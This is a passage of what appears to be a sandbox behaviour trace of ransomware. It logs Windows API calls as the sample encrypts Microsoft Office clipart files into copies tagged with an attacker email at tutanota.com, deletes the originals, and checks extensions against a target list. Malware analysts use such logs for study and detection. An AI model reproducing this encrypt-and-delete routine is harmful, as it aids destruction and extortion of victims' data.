office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.053] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.053] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.053] GetLastError () returned 0x0 [0225.053] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0225.069] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5ef0, lpOverlapped=0x0) returned 1 [0225.070] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.070] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.070] SetEndOfFile (hFile=0x228) returned 1 [0225.070] CloseHandle (hObject=0x228) returned 1 [0225.071] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.071] SetEndOfFile (hFile=0x208) returned 1 [0225.071] CloseHandle (hObject=0x208) returned 1 [0225.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0225.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0225.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0225.072] lstrlenW (lpString=".doc") returned 4 [0225.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString=".docx") returned 5 [0225.072] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0225.072] lstrlenW (lpString=".pdf") returned 4 [0225.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString=".xls") returned 4 [0225.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.072] lstrlenW (lpString=".xlsx") returned 5 [0225.072] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0225.072] lstrlenW (lpString=".ppt") returned 4 [0225.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0225.072] lstrlenW (lpString=".zip") returned 4 [0225.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.072] lstrlenW (lpString=".rar") returned 4 [0225.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString=".bz2") returned 4 [0225.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString=".7z") returned 3 [0225.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0225.072] lstrlenW (lpString=".dbf") returned 4 [0225.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0225.072] lstrlenW (lpString=".1cd") returned 4 [0225.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0225.072] lstrlenW (lpString=".jpg") returned 4 [0225.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.072] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=37140) returned 1 [0225.073] CloseHandle (hObject=0x208) returned 1 [0225.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0225.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.073] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.073] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.073] GetLastError () returned 0x0 [0225.073] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x9114, lpOverlapped=0x0) returned 1 [0225.099] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x9120, lpOverlapped=0x0) returned 1 [0225.099] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.099] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.100] SetEndOfFile (hFile=0x228) returned 1 [0225.100] CloseHandle (hObject=0x228) returned 1 [0225.100] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.100] SetEndOfFile (hFile=0x208) returned 1 [0225.100] CloseHandle (hObject=0x208) returned 1 [0225.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0225.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0225.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0225.106] lstrlenW (lpString=".doc") returned 4 [0225.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString=".docx") returned 5 [0225.106] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0225.106] lstrlenW (lpString=".pdf") returned 4 [0225.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString=".xls") returned 4 [0225.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.106] lstrlenW (lpString=".xlsx") returned 5 [0225.106] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0225.106] lstrlenW (lpString=".ppt") returned 4 [0225.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0225.106] lstrlenW (lpString=".zip") returned 4 [0225.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.106] lstrlenW (lpString=".rar") returned 4 [0225.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString=".bz2") returned 4 [0225.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString=".7z") returned 3 [0225.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0225.106] lstrlenW (lpString=".dbf") returned 4 [0225.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0225.106] lstrlenW (lpString=".1cd") returned 4 [0225.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0225.106] lstrlenW (lpString=".jpg") returned 4 [0225.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.107] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.107] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0225.107] GetLastError () returned 0x0 [0225.107] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xd42, lpOverlapped=0x0) returned 1 [0225.122] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xd50, lpOverlapped=0x0) returned 1 [0225.123] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.123] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.123] SetEndOfFile (hFile=0x194) returned 1 [0225.123] CloseHandle (hObject=0x194) returned 1 [0225.123] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.123] SetEndOfFile (hFile=0x180) returned 1 [0225.124] CloseHandle (hObject=0x180) returned 1 [0225.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0225.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0225.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0225.125] lstrlenW (lpString=".doc") returned 4 [0225.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString=".docx") returned 5 [0225.125] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0225.125] lstrlenW (lpString=".pdf") returned 4 [0225.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString=".xls") returned 4 [0225.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.125] lstrlenW (lpString=".xlsx") returned 5 [0225.125] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0225.125] lstrlenW (lpString=".ppt") returned 4 [0225.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0225.125] lstrlenW (lpString=".zip") returned 4 [0225.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.125] lstrlenW (lpString=".rar") returned 4 [0225.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString=".bz2") returned 4 [0225.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString=".7z") returned 3 [0225.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0225.125] lstrlenW (lpString=".dbf") returned 4 [0225.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0225.125] lstrlenW (lpString=".1cd") returned 4 [0225.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0225.125] lstrlenW (lpString=".jpg") returned 4 [0225.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.126] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4946) returned 1 [0225.126] CloseHandle (hObject=0x180) returned 1 [0225.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0225.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0225.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0225.126] GetLastError () returned 0x0 [0225.127] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1352, lpOverlapped=0x0) returned 1 [0225.139] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0225.139] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.139] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.139] SetEndOfFile (hFile=0x194) returned 1 [0225.140] CloseHandle (hObject=0x194) returned 1 [0225.140] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.140] SetEndOfFile (hFile=0x180) returned 1 [0225.140] CloseHandle (hObject=0x180) returned 1 [0225.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0225.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0225.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0225.141] lstrlenW (lpString=".doc") returned 4 [0225.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString=".docx") returned 5 [0225.141] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0225.141] lstrlenW (lpString=".pdf") returned 4 [0225.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString=".xls") returned 4 [0225.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.141] lstrlenW (lpString=".xlsx") returned 5 [0225.141] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0225.141] lstrlenW (lpString=".ppt") returned 4 [0225.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0225.141] lstrlenW (lpString=".zip") returned 4 [0225.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.141] lstrlenW (lpString=".rar") returned 4 [0225.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString=".bz2") returned 4 [0225.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString=".7z") returned 3 [0225.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0225.141] lstrlenW (lpString=".dbf") returned 4 [0225.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0225.141] lstrlenW (lpString=".1cd") returned 4 [0225.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0225.141] lstrlenW (lpString=".jpg") returned 4 [0225.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.141] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3282) returned 1 [0225.141] CloseHandle (hObject=0x180) returned 1 [0225.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0225.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0225.142] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.142] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0225.142] GetLastError () returned 0x0 [0225.142] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xcd2, lpOverlapped=0x0) returned 1 [0225.158] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0225.158] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.158] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.159] SetEndOfFile (hFile=0x194) returned 1 [0225.159] CloseHandle (hObject=0x194) returned 1 [0225.159] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.159] SetEndOfFile (hFile=0x180) returned 1 [0225.159] CloseHandle (hObject=0x180) returned 1 [0225.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0225.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0225.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0225.160] lstrlenW (lpString=".doc") returned 4 [0225.160] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.160] lstrlenW (lpString=".docx") returned 5 [0225.160] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0225.160] lstrlenW (lpString=".pdf") returned 4 [0225.160] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.160] lstrlenW (lpString=".xls") returned 4 [0225.160] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.160] lstrlenW (lpString=".xlsx") returned 5 [0225.160] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0225.160] lstrlenW (lpString=".ppt") returned 4 [0225.160] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0225.160] lstrlenW (lpString=".zip") returned 4 [0225.160] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.160] lstrlenW 